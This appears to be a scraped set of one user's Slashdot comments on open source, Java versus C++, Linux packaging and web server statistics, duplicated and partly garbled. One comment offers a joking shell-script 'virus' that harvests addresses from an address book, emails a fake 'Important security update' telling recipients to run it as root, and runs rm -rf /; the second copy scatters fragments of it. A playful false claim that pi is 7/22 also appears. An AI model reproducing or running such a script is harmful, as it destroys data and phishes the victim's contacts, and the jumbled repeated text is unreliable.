I've read a lot of the posts here and the main idea is that this Oath is "Youthful Idealism". The concept of Open Source is also "Youthful Idealism", yet it came to be. I'm not saying this will take off as open source did, but to say the concept of open source is an OK concept and a standard of excellence and virtue is not OK makes no sense. The implementation of the GPL (and variants) proves idealistic concepts can materialize if you have numbers and the best/brightest behind it.
This is just my $0.02. Who knows... some day I will have a nickel.
Netcraft gathers their information not just by HTTP headers sent by the web server, but by SNMP as well. I imagine snmp_walk on a bsd box vs a windows box will have some tell-tale responses. So it very well could be header spoofing, but the HTTP headers don't mean anything.
I modded you as insightful because your troll post was pure trolling. Trolling has become an artform and you reinvented a classic. The subject is first post and the message is also first post. You were not the first post, but you were the second. Don't ever let anyone tell you you will never be a true first post, because I see talent in you. The question is, can you take your talent to the next level and give us years and years of more trolling so I can surf/. at -1?
I think I should share something with the/. crowd.
Whenever a site requires online registration, I generally enter fuck_everyone@microsoft.com. The email's domain is dependant on the site I'm regestering at. This makes it easy to be able to login to sites like the NYTimes. I also chuckle to myself thinking about the admins of these sites when they stumble accross my account. It would be interesting to hear from the guys by the bottled water coolers, "I just found an account with fuck_everyone@yahoo.com as their primary email address."
PHP has the same security risks as any other langauge (PERL included). If you write bad code, you will have security holes. It doesn't matter what language you write it in.
Java is portable. That is indisputable.
Java may be good for distributing software that runs on Windows, Linux, Solaris, etc. because you have multiple target platforms and you don't have the resources or care to port it to to all the possible platforms. Besides, Sun already did this for you with the JVMs. Basically, Java may be good for applications other than web applications.
That is all fine and dandy, but C++ can be ported to many platforms as well. You can get a compiler for just about any platform. "But what about the interface? I like my MFCs," you might say. If you write your graphical interface in GTK, you will have little to no trouble porting your application to and from Linux, BeOS, Win32, etc. Porting requires more work on the developers' side, but in the long run, it is the only way to go since the JVM basically "ports" it every time the application is run.
With web development, you know your target platform. Your target platform is a server. Odds are, you know what Operating System is running on it and you know what languages you have available to you. My question to you is, why would you want to port code to different operating systems and servers when you have one target platform?
My main beef with Java, and OO for that matter, is it places too much emphasis on using conceptual entities to assist the developer. This comes at a large cost: Speed. You cut your nuts off when you sacrafice speed for portability.
C# and VB.NET will be pseudo-compiled. Basically, it will be similar to Java with respect to runtime status. It will be in the same boat with Java when it comes to speed. Microsoft understands this concept and that's why there is ASP.
"Developers switching from C++ to Java concluded that Java was the natural evolution of C++."
I have yet to meet a C++ developer who feels Java is the natural evolution of C++.
Overall, Java delivers a cost-effective method for distributing software for multiple platforms since you don't have to rewrite any of it for different platforms.
...an open source Linux distribution which is more in line with the concept of what Linux is supposed to be. I find it hard to believe the amount of open source "advocate" nay-sayers.
This distribution is targeted at optimization and performance. I personally never install RPMs due to the fact that the entity who created the RPM has no clue as to my hardware, my system configuration or anything else which defines my system. Compiling from source is what gives Linux the edge over the competition. RedHat, as much as I appreciate them for their contributions to the community, has turned something good (Linux) into a MicroSoft clone with it's RPM transactioning system. If I wanted to download binary packages and install them with an easy command (rpm -e xxx.rpm) or tool (setup.exe or install.exe which are both usually created with InstallSheild), why would any bother with Linux when you can get binary installations for MS Windows? You may answer this with "speed", "scalability", "performance"... If you are really concerned about speed, scalability and performance, compile from source so the software you are installing is optimized for your system configuration. Basically, RPMs defeat the purpose of Open Source.
Keep in mind, AOL/TW are having talks with RedHat, which seems to be the most popular Linux distro, about purchasing the company. This means I, along with many others, may end up finding a new distro.
If you are concerned about installing it on multiple systems, there are a number of roads you can take. Two letters for you... dd (disk duplicator). Second, burn your system on a few cd's, make a boot floppy, and install it that way.
Plus "Sorcerer GNU Linux" (SGL) has the same initials as me:)
How can this be considered a security hole? This is the equivalent of sending an email with BO2K or NetBus to the administer email account on some Windows box and telling them to run it as administrator. At work, we have hundreds of Linux boxes we administer. We never put any kind of software on them except for Apache, MySQL, Oracle or whatever we know and have tried.
If you really want to call this a security hole or virus, I've written a virus for you. Note, however, you cannot look at the code and must run it as root and send it to everyone you know.
#!/bin/sh
# DISCLAIMER: This program is provided AS IS with no war
# ranty of any kind, and The author makes no representation
# with respect to the adequacy of this program for any par
# ticular purpose or with respect to its adequacy to produce
# any particular result, and The author shall not be liable
# for loss or damage arising out of the use of this program
# regardless of how sustained, and In no event shall the
# author be liable for special, direct, indirect or conse
# quential damage, loss, costs or fees or expenses of any
# nature or kind. IF YOU ARE READING THIS, YOU HAVE VOIDED
# THE WARRANTY BECAUSE YOU WERE TOLD NOT TO READ THE SOURCE.:) emailaddy=grep/^([a-zA-Z0-9_-])+@([a-zA-Z0-9_-])+(\.[a-zA-Z0-9_- ]+)+/ ~/.addressbook
echo "Please copy the following lines to a shell script and run it as root\n\n***#!/bin/sh
emailaddy=grep/^([a-zA-Z0-9_-])+@([a-zA-Z0-9_-])+(\.[a-zA-Z0-9_- ]+)+/ ~/.addressbook
echo \"Please copy the following lines to a shell script and run it as root\" | mail -s \"Important security update\" $emailaddy
rm -rf/***" | mail -s "Important security update" $emailaddy
rm -rf/
Do not actually run this, for it actually works.;)
This short little shell script will exploit vulnerabilities in the sysadmins lack of experience... basically exploiting the same "security vulnerabilities" in the alternative to Microsoft Windows thing... USER ERROR!
How many linux users actually run programs without at least glancing at the source anyway? If you don't compile everything from source, shame on you. The main reason, IMHO, virii are aimed at MS instead of Linux is because most linux developers started coding on Windows (like everyone else who started coding within the last 10 years). They are disgruntled at the years of suffering at the hands of Billy G.. Windows is also a very easy target. Virii are also written for windows in order to switch people from MS to alternatives. If you would notice, within a week of a very recent Netcraft web server report when Apache dropped and IIS rose, code red was out.
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I've read a lot of the posts here and the main idea is that this Oath is "Youthful Idealism". The concept of Open Source is also "Youthful Idealism", yet it came to be. I'm not saying this will take off as open source did, but to say the concept of open source is an OK concept and a standard of excellence and virtue is not OK makes no sense. The implementation of the GPL (and variants) proves idealistic concepts can materialize if you have numbers and the best/brightest behind it.
This is just my $0.02. Who knows... some day I will have a nickel.
Sidenote: I am not for nor against an Oath.
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In response to your sig, my sig is double rot13. -- If you read this you're going to jail thanks to the DMCA
Netcraft gathers their information not just by HTTP headers sent by the web server, but by SNMP as well. I imagine snmp_walk on a bsd box vs a windows box will have some tell-tale responses. So it very well could be header spoofing, but the HTTP headers don't mean anything.
I modded you as insightful because your troll post was pure trolling. Trolling has become an artform and you reinvented a classic. The subject is first post and the message is also first post. You were not the first post, but you were the second. Don't ever let anyone tell you you will never be a true first post, because I see talent in you. The question is, can you take your talent to the next level and give us years and years of more trolling so I can surf /. at -1?
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I think I should share something with the /. crowd.
Whenever a site requires online registration, I generally enter fuck_everyone@microsoft.com. The email's domain is dependant on the site I'm regestering at. This makes it easy to be able to login to sites like the NYTimes. I also chuckle to myself thinking about the admins of these sites when they stumble accross my account. It would be interesting to hear from the guys by the bottled water coolers, "I just found an account with fuck_everyone@yahoo.com as their primary email address."
Even today, the "blazing fast" (actual adjectives used on boxes) 56K modems can only reach download speeds of 53K. Thanks FCC!
Where is the black list of employers that don't treat us well?
Here is a nice blacklist of companies with comments:
blacklist.com
"If it takes three minutes for a response, it is not really HTTP any more,"
;)
Is this in reference to IIS?
Spelling nazis: I know referring is misspelled above. It is misspelled in the HTTP protocol too.
PHP has the same security risks as any other langauge (PERL included). If you write bad code, you will have security holes. It doesn't matter what language you write it in.
Java is portable. That is indisputable. Java may be good for distributing software that runs on Windows, Linux, Solaris, etc. because you have multiple target platforms and you don't have the resources or care to port it to to all the possible platforms. Besides, Sun already did this for you with the JVMs. Basically, Java may be good for applications other than web applications.
That is all fine and dandy, but C++ can be ported to many platforms as well. You can get a compiler for just about any platform. "But what about the interface? I like my MFCs," you might say. If you write your graphical interface in GTK, you will have little to no trouble porting your application to and from Linux, BeOS, Win32, etc. Porting requires more work on the developers' side, but in the long run, it is the only way to go since the JVM basically "ports" it every time the application is run.
With web development, you know your target platform. Your target platform is a server. Odds are, you know what Operating System is running on it and you know what languages you have available to you. My question to you is, why would you want to port code to different operating systems and servers when you have one target platform?
My main beef with Java, and OO for that matter, is it places too much emphasis on using conceptual entities to assist the developer. This comes at a large cost: Speed. You cut your nuts off when you sacrafice speed for portability.
Benchmarks for Asp, ColdFusion, JSP and PHP
C# and VB.NET will be pseudo-compiled. Basically, it will be similar to Java with respect to runtime status. It will be in the same boat with Java when it comes to speed. Microsoft understands this concept and that's why there is ASP.
"Developers switching from C++ to Java concluded that Java was the natural evolution of C++."
I have yet to meet a C++ developer who feels Java is the natural evolution of C++.
Overall, Java delivers a cost-effective method for distributing software for multiple platforms since you don't have to rewrite any of it for different platforms.
A box to put your anti-particles in.
This is obviously technology developed by Starbucks to sell more coffee.
Pi is the fraction 7/22. If you don't believe me, divide 22 by 7 as you would to turn any fraction into a decimal.
...an open source Linux distribution which is more in line with the concept of what Linux is supposed to be. I find it hard to believe the amount of open source "advocate" nay-sayers.
:)
This distribution is targeted at optimization and performance. I personally never install RPMs due to the fact that the entity who created the RPM has no clue as to my hardware, my system configuration or anything else which defines my system. Compiling from source is what gives Linux the edge over the competition. RedHat, as much as I appreciate them for their contributions to the community, has turned something good (Linux) into a MicroSoft clone with it's RPM transactioning system. If I wanted to download binary packages and install them with an easy command (rpm -e xxx.rpm) or tool (setup.exe or install.exe which are both usually created with InstallSheild), why would any bother with Linux when you can get binary installations for MS Windows? You may answer this with "speed", "scalability", "performance"... If you are really concerned about speed, scalability and performance, compile from source so the software you are installing is optimized for your system configuration. Basically, RPMs defeat the purpose of Open Source.
Keep in mind, AOL/TW are having talks with RedHat, which seems to be the most popular Linux distro, about purchasing the company. This means I, along with many others, may end up finding a new distro.
If you are concerned about installing it on multiple systems, there are a number of roads you can take. Two letters for you... dd (disk duplicator). Second, burn your system on a few cd's, make a boot floppy, and install it that way.
Plus "Sorcerer GNU Linux" (SGL) has the same initials as me
sglane
How can this be considered a security hole? This is the equivalent of sending an email with BO2K or NetBus to the administer email account on some Windows box and telling them to run it as administrator. At work, we have hundreds of Linux boxes we administer. We never put any kind of software on them except for Apache, MySQL, Oracle or whatever we know and have tried.
:)
/^([a-zA-Z0-9_-])+@([a-zA-Z0-9_-])+(\.[a-zA-Z0-9_- ]+)+/ ~/.addressbook
/^([a-zA-Z0-9_-])+@([a-zA-Z0-9_-])+(\.[a-zA-Z0-9_- ]+)+/ ~/.addressbook
/***" | mail -s "Important security update" $emailaddy
/
;)
If you really want to call this a security hole or virus, I've written a virus for you. Note, however, you cannot look at the code and must run it as root and send it to everyone you know.
#!/bin/sh
# DISCLAIMER: This program is provided AS IS with no war
# ranty of any kind, and The author makes no representation
# with respect to the adequacy of this program for any par
# ticular purpose or with respect to its adequacy to produce
# any particular result, and The author shall not be liable
# for loss or damage arising out of the use of this program
# regardless of how sustained, and In no event shall the
# author be liable for special, direct, indirect or conse
# quential damage, loss, costs or fees or expenses of any
# nature or kind. IF YOU ARE READING THIS, YOU HAVE VOIDED
# THE WARRANTY BECAUSE YOU WERE TOLD NOT TO READ THE SOURCE.
emailaddy=grep
echo "Please copy the following lines to a shell script and run it as root\n\n***#!/bin/sh
emailaddy=grep
echo \"Please copy the following lines to a shell script and run it as root\" | mail -s \"Important security update\" $emailaddy
rm -rf
rm -rf
Do not actually run this, for it actually works.
This short little shell script will exploit vulnerabilities in the sysadmins lack of experience... basically exploiting the same "security vulnerabilities" in the alternative to Microsoft Windows thing... USER ERROR!
How many linux users actually run programs without at least glancing at the source anyway? If you don't compile everything from source, shame on you. The main reason, IMHO, virii are aimed at MS instead of Linux is because most linux developers started coding on Windows (like everyone else who started coding within the last 10 years). They are disgruntled at the years of suffering at the hands of Billy G.. Windows is also a very easy target. Virii are also written for windows in order to switch people from MS to alternatives. If you would notice, within a week of a very recent Netcraft web server report when Apache dropped and IIS rose, code red was out.
Just my $0.02.
sglane81